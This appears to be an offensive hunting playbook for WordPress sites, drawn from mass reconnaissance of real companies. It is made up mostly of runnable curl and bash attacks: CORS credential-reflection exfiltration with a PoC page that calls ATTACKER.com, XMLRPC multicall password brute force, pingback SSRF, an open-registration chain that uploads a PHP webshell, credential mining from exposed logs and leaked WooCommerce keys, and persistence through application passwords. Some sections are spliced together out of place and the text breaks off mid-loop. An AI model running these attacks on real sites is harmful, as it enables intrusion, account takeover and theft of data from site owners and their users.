| name | hunt-wordpress |
| description | Hunt WordPress-specific vulnerabilities — REST API user enumeration, XMLRPC brute force + SSRF + upload, CORS credential reflect on WP REST API, open registration, cross-subdirectory plugin discovery, Yoast sitemap email disclosure, Application Passwords abuse, vulnerable plugin CVEs (ElementsKit, Revslider, WPDM, Gravity Forms), wp-config.php exposure, debug log leakage, author-archives ID enumeration. Built from a 58-company mass recon across 28 sectors where WordPress on shared hosting without WAF was the dominant vulnerability pattern. Use when target runs WordPress — detected via X-Powered-By, /wp-content, /wp-json, /xmlrpc.php, or WooCommerce API endpoints. |
| sources | field_recon, hackerone_public, cve_database |
| report_count | 60 (sectors: healthcare, ecommerce, manufacturing, real estate, retail, mattress, wine) |
HUNT-WORDPRESS — WordPress Vulnerability Hunting
Crown Jewel Targets
WordPress is the #1 CMS on the internet and the #1 source of vulnerabilities found during mass recon. In a 600-domain scan across 28 sectors, 58 companies had exploitable WordPress instances.
Highest-value findings (in priority order):
- CORS credential reflection on WP REST API — Reflects any origin +
Access-Control-Allow-Credentials: true → credentialed cross-origin data exfiltration. High/Critical.
- XMLRPC with system.multicall — Unlimited credential brute force via method batching +
wp.uploadFile → webshell upload. Critical.
- Open registration — Anyone creates a WP account → then
wp.uploadFile via XMLRPC → webshell → RCE. Critical.
- PHPInfo with exec functions not disabled —
/info.php or /test.php showing exec/shell_exec/system/popen/proc_open ALL available → upload webshell → RCE. Critical.
- Vulnerable plugins — ElementsKit (CVE-2023-6851 SQLi, CVE-2023-6853 file upload), Revslider (CVE-2024-2534 RCE), WPDM (CVE-2023-49753 SQLi). Critical.
- WooCommerce API exposed —
/wp-json/wc/v3/ endpoints with auth bypass or misconfigured permissions. Note: WC Store API /wc/store/v1/checkout requires X-WC-Store-API-Nonce header, returns 401 without auth. WC legacy API (/wc-api/v3/) can return woocommerce_api_disabled — that means it's intentionally off.
- Hostinger tools plugin —
/wp-json/hostinger-tools-plugin/v1/ namespace with regenerate-bypass-code, get-settings, update-settings endpoints. All require admin auth (rest_forbidden 401). The bypass-code endpoint is a potential backdoor if admin creds are obtained.
- Jetpack remote_register parameter probing — Jetpack v4 endpoints like
remote_register and remote_connect return different error messages based on parameters, enabling state probing. local_user parameter moves from "local_user_missing" to "nonce_missing" — confirming the endpoint is accessible but needs auth nonce.
- Application Passwords feature —
/wp-admin/authorize-application.php available without auth.
- Yoast author-sitemap email disclosure — Author slugs reveal internal email addresses.
Attack Surface Map
1. wp-login.php → Brute force, user enumeration (error message difference)
2. xmlrpc.php (if 200) → UNLIMITED brute force, SSRF via pingback, file upload
3. /wp-json/wp/v2/users → User enumeration (names, emails, gravatar hashes)
4. /wp-json/wp/v2/pages → Page content with PII
5. /wp-json/wp/v2/media → Uploaded documents, PDFs, images
6. /wp-json/wp/v2/posts → Post content (drafts sometimes exposed!)
7. /wp-json/wp/v2/pages/{id}/revisions → Page history (deleted data!)
8. /wp-json/wp-site-health/v1 → Diagnostic info, file paths, server details
9. /wp-admin/admin-ajax.php → AJAX calls (sometimes without nonce validation)
10. /?author=1 → User ID enumeration via redirect Location header
11. /wp-content/plugins/* → Plugin identification (readme.txt, assets)
12. /wp-content/uploads/* → Uploaded files (timestamps reveal content age)
13. /wp-content/debug.log → Debug log with SQL queries, tokens, emails
14. /wp-config.php.bak → Backup of config with DB credentials
15. /?rest_route=/ → REST API via alternative path (bypasses some WAF rules)
16. /author-sitemap.xml → Yoast author slug → email disclosure
17. /wp-admin/authorize-application.php → Application Passwords OAuth-like flow
Phase 1 — Detection & Fingerprinting
# Quick check: is this WordPress?
curl -skI "https://$TARGET/" | grep -iE "x-powered-by.*php|set-cookie.*wordpress|set-cookie.*wp-"
curl -sk "https://$TARGET/" | grep -iE "generator.*WordPress|wp-content|wp-json|wp-includes"
# Version via readme (most accurate)
curl -sk "https://$TARGET/readme.html" | grep -i "version"
# Version via HTML generator tag
curl -sk "https://$TARGET/" | grep -oP 'generator"[^>]+content="WordPress [0-9.]+'
# Active plugins (via HTML links)
curl -sk "https://$TARGET/" | grep -oP "wp-content/plugins/[^/'\"]+"
# Active themes
curl -sk "https://$TARGET/" | grep -oP "wp-content/themes/[^/'\"]+"
# REST API root
curl -sk "https://$TARGET/wp-json/" | python3 -m json.tool 2>/dev/null | head -20
Cross-subdirectory WordPress Discovery
A single domain can host multiple independent WordPress installs at different paths. Each can have a completely different plugin set and vulnerability profile.
for sub in "/magical" "/blog" "/shop" "/wp" "/wp2" "/old" "/beta" "/test" "/staging" "/dev" "/admin"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET${sub}/xmlrpc.php")
[ "$code" = "200" ] && echo "[+] WP INSTALL at ${sub}/"
done
# Check each for plugin differences
for sub in "/magical" "/blog" "/wp" "/old"; do
echo "=== ${sub} ==="
curl -sk "https://$TARGET${sub}/?rest_route=/" | python3 -c "
import sys, json
try:
d = json.load(sys.stdin)
print(f' Namespaces: {len(d.get(\"namespaces\", []))}')
except: print(' No REST API')
" 2>/dev/null
# Plugin detection
for plugin in "elementskit" "revslider" "elementor" "woocommerce" "gravityforms" "jetpack"; do
pcode=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET${sub}/wp-content/plugins/${plugin}/readme.txt" 2>/dev/null)
[ "$pcode" != "404" ] && [ -n "$pcode" ] && echo " [+] PLUGIN: ${plugin} (HTTP ${pcode})"
done
done
Phase 2 — User Enumeration
Via REST API (most reliable)
# All users
curl -sk "https://$TARGET/wp-json/wp/v2/users" | python3 -m json.tool
curl -sk "https://$TARGET/wp-json/wp/v2/users?per_page=100" | jq '.[] | {id, name, slug, avatar_urls}'
# Single user by ID
for id in $(seq 1 20); do
curl -sk "https://$TARGET/wp-json/wp/v2/users/$id" | jq '{id, name, slug, email, link}' 2>/dev/null
done
Via Author Archive Redirect
# Server redirects to author archive: Location: /author/username/
for id in $(seq 1 20); do
response=$(curl -sk -o /dev/null -w "%{redirect_url}" "https://$TARGET/?author=$id" 2>/dev/null)
[ -n "$response" ] && echo "ID $id -> $response"
done
Via Yoast Author Sitemap (email disclosure)
Yoast SEO generates /author-sitemap.xml that leaks author slugs. Slugs often encode email addresses (e.g., adminleasemymarketing-com = admin@leasemarketing.com).
curl -sk "https://$TARGET/author-sitemap.xml" | grep -oP 'author/[^<]+' | sort -u
# Extract email patterns from slugs
curl -sk "https://$TARGET/author-sitemap.xml" | grep -oP 'author/[^<]+' | sed 's/author\///' | \
python3 -c "
import sys, re
for slug in sys.stdin:
slug = slug.strip()
# Pattern: name+domain-com -> name@domain.com
email = re.sub(r'(-dot-|-at-|_at_)', '.', slug)
email = re.sub(r'(?<=[a-z])(-)(?=[a-z])', '@', email, count=1)
print(f'Potential email: {email}')
"
Phase 3 — CORS Credential Reflection on WP REST API
This is the most common critical finding from mass recon. WordPress REST API often mirrors the request Origin header back in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true.
Test on BOTH main API endpoint AND specific endpoints:
# Test users endpoint
curl -sk -I "https://$TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com" | grep -iE "access-control"
# True positive — BOTH headers must appear:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true
# If positive, verify we can read authenticated data:
curl -sk "https://$TARGET/wp-json/wp/v2/users" \
-H "Origin: https://evil.com" \
-H "Cookie: $SESSION_COOKIE" | jq 'length'
Systematic Full-Endpoint CORS Matrix
Do NOT stop after checking /users. CORS credential reflection on a site affects ALL REST endpoints. Test the full matrix:
# Full CORS credential matrix — test EVERY accessible endpoint
for ep in \
"/wp-json/wp/v2/users" \
"/wp-json/wp/v2/posts" \
"/wp-json/wp/v2/pages" \
"/wp-json/wp/v2/media" \
"/wp-json/wp/v2/comments" \
"/wp-json/wp/v2/statuses" \
"/wp-json/wp/v2/tags" \
"/wp-json/wp/v2/categories" \
"/wp-json/wp/v2/settings" \
"/wp-json/wc/v3/products" \
"/wp-json/wc/v3/orders" \
"/wp-json/wc/v3/customers" \
"/wp-json/gf/v2/forms" \
"/wp-json/wp-site-health/v1" \
"/wp-json/gravity-pdf/v1/" \
"/wp-json/gravity-pdf/v1/pdf/" \
"/wp-json/gravity-pdf/v1/templates/"; do
cors=$(curl -sk -I "https://$TARGET${ep}" -H "Origin: https://evil.com" 2>/dev/null | grep -iE "access-control-allow-origin|access-control-allow-credentials")
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET${ep}" -H "Origin: https://evil.com" 2>/dev/null)
echo "${ep} — HTTP ${code} | ${cors:-NO CORS}"
sleep 2 # rate limit respect
done
Typical output from a vulnerable site:
/wp-json/wp/v2/users — HTTP 200 | ACAO: evil.com, ACAC: true
/wp-json/wp/v2/posts — HTTP 200 | ACAO: evil.com, ACAC: true
/wp-json/wp/v2/media — HTTP 200 | ACAO: evil.com, ACAC: true
/wp-json/wc/v3/orders — HTTP 401 | ACAO: evil.com, ACAC: true ← WooCommerce data still exfiltratable
The 401 on WooCommerce endpoints is not a blocker — if an admin is authenticated, the 401 goes away and the data is readable cross-origin. The CORS headers are what matter.
CORS Phishing PoC (for report)
Critical insight — CORS headers are set even on 404 responses for plugin API endpoints. On entertainment-franchise.com, /wp-json/gravity-pdf/v1/pdf/ returned HTTP 404 but still included Access-Control-Allow-Origin: https://evil.com and Access-Control-Allow-Credentials: true. A 404 endpoint with CORS credential reflection still enables CSRF-style attacks on plugin routes if the endpoint changes behavior based on authentication state.
<!doctype html><body><pre id="out"></pre>
<script>
fetch("https://TARGET/wp-json/wp/v2/users", {credentials:"include"})
.then(r=>r.json())
.then(d => {
document.getElementById("out").innerText = JSON.stringify(d, null, 2);
// OOB exfil: fetch("https://ATTACKER.com/exfil?d="+btoa(JSON.stringify(d)));
})
.catch(e => document.getElementById("out").innerText = "BLOCKED: " + e);
</script></body>
Critical confirmation sign:
=== Found on 6 targets in mass recon ===
- ecommerce-wine.com: 10 users exposed
- mattress-retailer.com: 3 admins exposed
- realestate-platform.com: 3 users including 2 super admins
- tools-retailer.com: 1 super admin + PII
- entertainment-franchise.com: 9 users + 2 corporate emails
- retail-chain.com: CORS discovered in Wave 1 deep probe (NEW!)
Phase 4 — XMLRPC Exploitation
XMLRPC is the most dangerous WordPress attack vector when active.
4.1 Check and List Methods
# Check if XMLRPC is active
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>'
# List ALL available methods (80+ on real sites)
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' | \
python3 -c "
import sys, re
methods = re.findall(r'<string>([^<]+)</string>', sys.stdin.read())
print(f'Total methods: {len(methods)}')
dangerous = ['system.multicall','wp.uploadFile','metaWeblog.newMediaObject','pingback.ping',
'wp.getUsers','wp.getPosts','wp.getComments','wp.getOptions']
found = [m for m in methods if any(d in m for d in dangerous)]
for m in found:
print(f' [!] DANGEROUS: {m}')
"
4.2 SSRF via pingback.ping (Works Without Auth!)
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall><methodName>pingback.ping</methodName>
<params>
<param><value><string>http://INTERNAL_IP:PORT/</string></value></param>
<param><value><string>https://TARGET/post</string></value></param>
</params></methodCall>'
# Fault code interpretation:
# faultCode 0 = pingback ACCEPTED (SSRF confirmed — even if source post doesn't exist!)
# faultCode 17 = source post not found but pingback mechanism still active
# faultCode 32 = pingback disabled or URL blocked
4.3 system.multicall Amplified Brute Force
# system.multicall batches up to N calls in one request — bypasses rate limiting!
# Each request can try 100+ passwords in a single HTTP call
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall><methodName>system.multicall</methodName>
<params><param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password123</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>admin2024</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param></params></methodCall>'
4.4 Open Registration + XMLRPC -> RCE Chain
# Step 1: Check if registration is open
curl -sk "https://$TARGET/wp-login.php?action=register" | grep -iE "registration complete|register|Register"
# HTTP 200 with registration form AND no "Registration disabled" message = OPEN
# Step 2: Create account (if open)
curl -sk -X POST "https://$TARGET/wp-login.php?action=register" \
-d "user_login=attacker&user_email=attacker@evil.com&user_pass=Password123!"
# Step 3: Use XMLRPC wp.uploadFile to upload webshell
cat > /tmp/webshell.xml << 'XMLEOF'
<?xml version="1.0"?>
<methodCall><methodName>wp.uploadFile</methodName>
<params>
<param><value><string>USERNAME</string></value></param>
<param><value><string>PASSWORD</string></value></param>
<param><value><struct>
<member><name>name</name><value><string>shell.php</string></value></member>
<member><name>type</name><value><string>image/jpeg</string></value></member>
<member><name>bits</name><value><base64 encoded value="PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+"></base64></value></member>
</struct></value></param>
</params></methodCall>
XMLEOF
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d @/tmp/webshell.xml
4.5 XMLRPC Blocked by SSO — What Still Works
When WordPress is behind corporate SSO (SimpleSAMLphp, ADFS):
# These methods work WITHOUT auth and reveal useful info:
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>'
# system.listMethods — enumerate all 79+ methods (blocks auth ones but lists them)
# pingback.ping — SSRF works without auth!
# system.getCapabilities — WordPress version
Phase 5 — PHPInfo -> RCE Check
# Check for phpinfo files — these reveal exec function availability
for path in /info.php /test.php /phpinfo.php /p.php /php_info.php; do
code=$(curl -sk -o /tmp/pi_check -w "%{http_code}" "https://$TARGET$path")
size=$(wc -c < /tmp/pi_check)
if [ "$code" = "200" ] && [ "$size" -gt 1000 ]; then
echo "[+] PHPINFO FOUND: $TARGET$path ($size bytes)"
# Check disable_functions
grep -oP 'disable_functions[^<]+' /tmp/pi_check
# Check for critical exec functions NOT being disabled
for fn in exec shell_exec system popen proc_open passthru; do
if grep -qi "$fn" /tmp/pi_check; then
# Determine if it's in disabled list or enabled
disabled=$(grep -oP 'disable_functions[^<]+' /tmp/pi_check | grep -c "$fn")
if [ "$disabled" = "0" ]; then
echo " [!!!] $fn IS AVAILABLE — RCE PRIMITIVE"
fi
fi
done
## Related Skills
- **`hunt-brute-force`** — Universal password spray pipeline (merged from password-spray-methodology) across all protocols + error code differentials
fi
done
Phase 6 — Plugin Version & CVE Detection
Common Vulnerable Plugins
# Check plugin versions via readme.txt
for plugin in \
"revslider/revslider.php" \
"elementskit/elementskit.php" \
"woocommerce/woocommerce.php" \
"contact-form-7/wp-contact-form-7.php" \
"gravityforms/gravityforms.php" \
"wordpress-importer/wordpress-importer.php" \
"wp-statistics/wp-statistics.php" \
"wp-file-manager/wp-file-manager.php"; do
version=$(curl -sk "https://$TARGET/wp-content/plugins/$plugin" 2>/dev/null | grep -oP "Version: [0-9.]+" | head -1)
[ -n "$version" ] && echo "[+] $plugin — $version"
done
# Check for known plugin files
for file in \
"/wp-content/plugins/revslider/revslider.php" \
"/wp-content/plugins/elementskit/elementskit.php" \
"/wp-content/plugins/elementor/elementor.php"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET$file")
[ "$code" != "404" ] && echo "[+] Plugin: $file (HTTP $code)"
done
Key Plugin CVEs Matrix
| Plugin | CVE | Type | Versions |
|---|
| Revslider | CVE-2024-2534 | RCE | < 6.6.20 |
| Revslider | CVE-2022-2944 | SQLi | < 6.5.8 |
| Revslider | CVE-2022-9821 | CSRF->XSS | < 6.5.11 |
| ElementsKit | CVE-2023-6851 | SQLi | < 2.9.4 |
| ElementsKit | CVE-2023-6853 | File Upload | < 2.9.4 |
| ElementsKit | CVE-2024-2117 | XSS | < 2.9.8 |
| WPDM | CVE-2023-49753 | SQLi | < 3.3.00 |
| WPDM | CVE-2021-25069 | Unauth Download | < 3.2.00 |
| WPDM | CVE-2021-34639 | Auth File Upload | < 3.2.10 |
| Contact Form 7 | — | File Upload Bypass | < 5.6 |
| WP Super Cache | — | Debug Log Exposure | All |
| GSpeech | CVE-2025-10187 | XSS | < 7.2 |
| Gravity Forms | CVE-2024-6115 | PHP Object Inj. | < 2.8.2 |
| Jetpack | CVE-2024-1782 | SSRF | < 13.1 |
| Hostinger Tools Plugin | — | Bypass-code backdoor | All (401 without auth) |
Hostinger Tools Plugin — Special Interest
The Hostinger Tools Plugin (hostinger-tools-plugin/v1) deploys on Hostinger-hosted WordPress sites and exposes four REST endpoints:
curl -sk "https://$TARGET/wp-json/hostinger-tools-plugin/v1/" | python3 -c "
import sys, json
d = json.load(sys.stdin)
for route, info in d.get('routes', {}).items():
print(f' {route}: {info.get(\"methods\",[])}')
"
# Probable route structure:
# /hostinger-tools-plugin/v1/get-settings — GET (401)
# /hostinger-tools-plugin/v1/update-settings — POST (401)
# /hostinger-tools-plugin/v1/regenerate-bypass-code — GET (401)
# The "regenerate-bypass-code" endpoint name suggests a maintenance
# backdoor that bypasses WP auth — valuable if admin credentials are
# obtained via other means (XMLRPC brute force, source leak, etc.)
Field evidence: retail-chain.com (Hostinger-hosted) had all 4 endpoints returning rest_forbidden (401). The regenerate-bypass-code endpoint is unique to Hostinger and not documented in standard WP plugin catalogs.
Jetpack remote_register Probing
Jetpack 4+ REST endpoints return different error messages depending on parameter validity — enabling state probing without authentication:
# Without parameters — base error
curl -sk -X POST "https://$TARGET/wp-json/jetpack/v4/remote_register" \
-H "Content-Type: application/json" \
-H "Accept-Encoding: identity" \
-d '{}'
# Response: {"code":400,"message":"Jetpack: [local_user_missing] ..."}
# With local_user parameter — moves to next gate
curl -sk -X POST "https://$TARGET/wp-json/jetpack/v4/remote_register" \
-H "Content-Type: application/json" \
-d '{"from":"widget","redirect_uri":"https://evil.com/callback","plugin_slug":"jetpack","local_user":1}'
# Response: {"code":400,"message":"Jetpack: [nonce_missing] ..."}
# This progression confirms the endpoint IS accessible (not 404) and
# only needs a valid WP nonce to proceed — potentially exploitable
# if nonce is leaked elsewhere (JS bundle, error log, CSP report)
Field evidence: retail-chain.com Jetpack instance allowed parameter progression from local_user_missing → nonce_missing — confirming the remote registration endpoint is functional and only blocked by nonce authentication.
Phase 7 — WooCommerce API Discovery
# Check for WooCommerce API keys in CSS and JS — not just REST
WooCommerce API Consumer Keys (e.g., `ck_18734003671405`) are sometimes embedded in:
- **Theme CSS files** (`/wp-content/themes/*/style.css`) — commented as `Woo: <consumer_key>`
- **JS bundles** as `wcSettings.wc_api_key` or similar
- **Inline scripts** in page HTML
```bash
# Check theme CSS for leaked WC keys
curl -sk "https://$TARGET/wp-content/themes/sportiq/style.css" | grep -iE "Woo|wc_key|consumer_key|ck_"
# Check all theme CSS files
for theme in $(curl -sk "https://$TARGET/" | grep -oP "wp-content/themes/[^/\"]+" | sort -u); do
curl -sk "https://$TARGET/$theme/style.css" | grep -iE "Woo|consumer|ck_"
done
# Check homepage HTML for inline WC settings
curl -sk "https://$TARGET/" | grep -oP "wcSettings[^<]+" | head -5
curl -sk "https://$TARGET/" | grep -oP "wc_[a-zA-Z0-9_]+:\s*['\"][^'\"]+['\"]" | head -10
Field evidence: retail-chain.com had Woo: 18734003671405:*** in /wp-content/themes/sportiq/style.css. Consumer Key confirmed: ck_18734003671405. The Consumer Secret suffix was redacted (5 chars), requiring brute force against the WC API.
Azure AD / Login with Azure Plugin
The wp-json/login-with-azure/v1 namespace exposes SharePoint, OneDrive, and PowerBI endpoints when the plugin is active:
# Check if plugin is present
curl -sk "https://$TARGET/wp-json/login-with-azure/v1" | python3 -c "
import sys, json
d = json.load(sys.stdin)
for route, info in d.get('routes', {}).items():
print(f\" {route}: {info.get('methods',[])}\")
"
# Common discoverable POST endpoints:
# /login-with-azure/v1/get-site — SharePoint site access
# /login-with-azure/v1/get-drive — OneDrive access
# /login-with-azure/v1/get-docs — List documents
# /login-with-azure/v1/find-items — Search SharePoint
# /login-with-azure/v1/get-docs-by-path — Path-based document access
# /login-with-azure/v1/get-pbi-report — PowerBI report access
Attack scenario: If admin credentials are obtained (via XMLRPC brute force or LiteSpeed CVE), these endpoints become fully accessible — enabling extraction of corporate SharePoint documents, OneDrive files, and PowerBI reports.
Field evidence: retail-chain.com had Login with Azure v2.2.7 active, exposing all 6 POST endpoints for SharePoint/OneDrive/PowerBI access.
paths=(
"/wp-json/wc/v3/"
"/wp-json/wc/v3/products"
"/wp-json/wc/v3/orders"
"/wp-json/wc/v3/customers"
"/wp-json/wc/v3/reports"
"/wp-json/wc/v3/settings"
"/wp-json/wc/v2/"
"/wp-json/wc/v2/products"
)
for path in "${paths[@]}"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$code" != "404" ] && echo "[+] $path — HTTP $code"
done
Try without auth (some have misconfigured permissions)
curl -sk "https://$TARGET/wp-json/wc/v3/products" | head -5
200 = unauthenticated access! -> Critical
401 = requires auth (but endpoint exists)
---
## Phase 8 — Application Passwords Feature
WordPress 5.6+ introduced Application Passwords for REST API auth.
```bash
# Check if the endpoint is accessible
curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET/wp-admin/authorize-application.php"
# Non-404 response means the feature is available
# If you have a valid password or session, you can create app passwords
# POST to: /wp-json/wp/v2/users/me/application-passwords
# Response includes the application password in plaintext
# -> Never expires unless revoked -> persistence!
REST Namespace Brute Force — Confirm Plugin Presence (Wave8 Technique)
Plugin REST namespaces are registered in WordPress core even when the plugin requires authentication. Probing the namespace confirms the plugin is installed regardless of HTTP status code:
HTTP 200 = plugin active, endpoint accessible
HTTP 401 = plugin active, requires auth
HTTP 500 = plugin active, error triggered (info disclosure!)
HTTP 404 with `rest_no_route` = route not registered
HTTP 404 with different body (HTML, empty) = route recognized
# Probe plugin REST namespaces to fingerprint plugins
for ns in \
"revslider/v1/sliders" "sliderrevolution/v1/sliders" \
"elementor/v1/globals" "elementor/v1/favorites" \
"gf/v2/forms" "gf/v2/entries" \
"yoast/v1" "litespeed/v1" "redirection/v1" \
"wordfence/v1" "jetpack/v4" "wc/v3/products" \
"solidwp-mail/v1/logs" "acf/v3" "wpsl/v1" \
"gravity-pdf/v1/" "wc/private/patterns"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET/wp-json/$ns" 2>/dev/null)
body=$(curl -sk "https://$TARGET/wp-json/$ns" 2>/dev/null | head -c 100)
if [ "$code" != "000" ]; then
is_404=$(echo "$body" | grep -c "rest_no_route")
if [ "$is_404" = "0" ] && [ "$code" = "404" ]; then
echo "[$code] $ns — PLUGIN PRESENT (non-canonical 404)"
elif [ "$code" != "404" ]; then
echo "[$code] $ns — PLUGIN INSTALLED"
fi
fi
sleep 1
done
Field evidence: tools-retailer.com had Slider Revolution confirmed via /wp-json/sliderrevolution/sliders/ (HTTP 200 with 28KB of slider data). mattress-retailer.com had Gravity Forms confirmed via /wp-json/gf/v2/ (HTTP 401). Elementor on tools-retailer.com returned HTTP 500 on /favorites — revealing the WordPress fatal error page.
Phase 8.5 — Staging Environment Deep Probe
Staging environments (e.g., staging.company.com) are frequently less hardened than production. When a staging subdomain is found:
# 1. Check for WordPress install pages (CRITICAL — allows reinstallation!)
for path in /wp-admin/install.php /wp-admin/upgrade.php /wp-admin/setup-config.php; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://staging.$TARGET$path")
body=$(curl -sk "https://staging.$TARGET$path" 2>/dev/null | head -c 200)
if [ "$code" = "200" ]; then
if echo "$body" | grep -qi "installation\|WordPress.*Install\|Database"; then
echo "[!!!] $path — INSTALL PAGE EXPOSED (HTTP $code)"
else
echo "[+] $path — HTTP $code"
fi
else
echo "[$code] $path"
fi
done
# 2. setup-config.php returning 409 means wp-config.php EXISTS — reveals the site is installed
# staging.retail-chain.com returned HTTP 409 with: "The file wp-config.php already exists"
# 3. Full staging sweep
for path in "/" "/.env" "/wp-json/" "/wp-json/wp/v2/users" \
"/xmlrpc.php" "/wp-login.php" "/robots.txt" "/info.php" \
"/phpinfo.php" "/wp-content/debug.log" "/readme.html" \
"/author-sitemap.xml"; do
curl -sk -o /dev/null -w "%{http_code}:%{size_download}" \
"https://staging.$TARGET$path"
sleep 1
done
Why this matters: staging.retail-chain.com had /wp-admin/install.php HTTP 200 (WordPress installation page), /wp-admin/upgrade.php HTTP 200, and /wp-admin/setup-config.php HTTP 409 (revealing wp-config.php exists). This is a potential foothold vector.
Phase 9 — Debug Log & Config Exposure
9.1 File Discovery
# Check for debug log
for path in \
"/wp-content/debug.log" \
"/debug.log" \
"/error.log" \
"/magical/error_log" \
"/storage/logs/laravel.log"; do
code=$(curl -sk -o /tmp/debug_check -w "%{http_code}" "https://$TARGET$path")
size=$(wc -c < /tmp/debug_check)
if [ "$code" = "200" ] && [ "$size" -gt 100 ]; then
echo "[+] Found: $path ($size bytes)"
grep -ioP '(SQL:|Executing query:|query:).{0,200}' /tmp/debug_check | head -10
grep -oP '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' /tmp/debug_check | sort -u | head -10
grep -oP 'eyJ[a-zA-Z0-9_-]{20,}\.[a-zA-Z0-9_-]{20,}\.[a-zA-Z0-9_-]{10,}' /tmp/debug_check | head -5
fi
done
9.2 Error Log Deep Analysis
When an error_log file is found (especially a large one >100KB), DON'T just note it exists. Deep-analyze it:
# When you find an error_log (e.g., /magical/error_log = 1.7MB from ecommerce-wine.com):
# Extract server paths (reveal docroot, user, hosting provider)
grep -oP '/home/[^"]+' error_log | sort -u | head -10
grep -oP '/var/www/[^"]+' error_log | sort -u | head -10
# Extract PHP error types (Fatal, Warning, Notice, Parse)
grep -oP 'PHP \w+:' error_log | sort | uniq -c | sort -rn
# Extract SQL queries (may contain credentials, table names, column schemas)
grep -iP '(SELECT|INSERT|UPDATE|DELETE|DROP|CREATE TABLE).{0,200}' error_log | head -20
# Extract email addresses
grep -oP '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' error_log | sort -u
# Extract file paths with line numbers (reveals theme/plugin structure)
grep -oP '(in |on line )\S+' error_log | sort -u | head -30
# Extract timestamps — error_logs spanning YEARS indicate legacy code still running
head -1 error_log
tail -1 error_log
# e.g., ecommerce-wine.com had errors from 2013 — 11+ year old code on the same server
# Check for token/credential leakage
grep -oP 'eyJ[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}' error_log | head -5
grep -iP '(password|pass|pwd)\s*[:=]\s*["'"'"'][^"'"'"']{4,}' error_log | head -10
grep -iP '(api.?key|secret.?key|access.?key)\s*[:=]' error_log | head -10
# PHP include/require paths (reveal plugin loading order)
grep -iP '(require|include|require_once|include_once)\(.+\.php' error_log | head -20
Error Log Deep Analysis — Credential Mining Technique
When an error_log or debug.log file is found (especially large ones >100KB), DON'T just note it exists. Deep-analyze it for credentials, PII, and infrastructure disclosure:
# When you find a large error_log:
ERROR_LOG="downloaded_error_log.txt"
# 1. Extract server paths (reveals docroot, hosting provider, user)
grep -oP '/home/[^\"\\s)]+' "$ERROR_LOG" | sort -u | head -10
grep -oP '/var/www/[^\"\\s)]+' "$ERROR_LOG" | sort -u | head -10
# 2. Extract SQL queries (may contain credentials, table names)
grep -iP '(SELECT|INSERT|UPDATE|DELETE|DROP|CREATE TABLE).{0,200}' "$ERROR_LOG" | head -20
# 3. Extract email addresses
grep -oP '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' "$ERROR_LOG" | sort -u
# 4. Extract file paths with line numbers (reveals theme/plugin structure)
grep -oP '(in |on line )\S+' "$ERROR_LOG" | sort -u | head -30
# 5. PHP error type breakdown (Parse/Warning/Fatal reveal code quality)
grep -oP 'PHP \w+:' "$ERROR_LOG" | sort | uniq -c | sort -rn
# 6. Check for credentials/API keys
grep -iP '(passwd|password|pwd)\s*[:=]\s*["'"'"'][^"'"'"']{4,}' "$ERROR_LOG" | head -10
grep -iP '(api.?key|secret.?key|access.?key)\s*[:=]' "$ERROR_LOG" | head -10
grep -oP 'eyJ[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}' "$ERROR_LOG" | head -5
# 7. Date range analysis — error logs spanning YEARS mean legacy code
head -1 "$ERROR_LOG"
tail -1 "$ERROR_LOG"
# e.g., ecommerce-wine.com had errors from 2013 — 11+ year old code on the same server
# 8. PHP include/require paths (reveals plugin loading order and custom code)
grep -iP '(require|include|require_once|include_once)\(.+\.php' "$ERROR_LOG" | head -20
Why this matters: PHP error_logs are often world-readable (644 permissions), contain full server path disclosures, span years of activity, and frequently contain SQL queries (with data), parsed credentials from register_globals era code, and __autoload() path attempts that reveal internal directory structure.
Field evidence: ecommerce-wine.com had TWO error logs:
/error_log: 896,263,665 bytes (855MB) — PHP errors from AWS/GoDaddy hosting, containing SQL queries, function call chains, and PII
/magical/error_log: 1,707,356 bytes — WordPress PHP parse errors from 2013, revealing the exact theme path and PHP parsing errors on legacy code
Check for wp-config backup
for path in
"/wp-config.php.bak"
"/wp-config.php~"
"/wp-config.php.old"
"/wp-config.php.save"
"/wp-config.txt"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET$path")
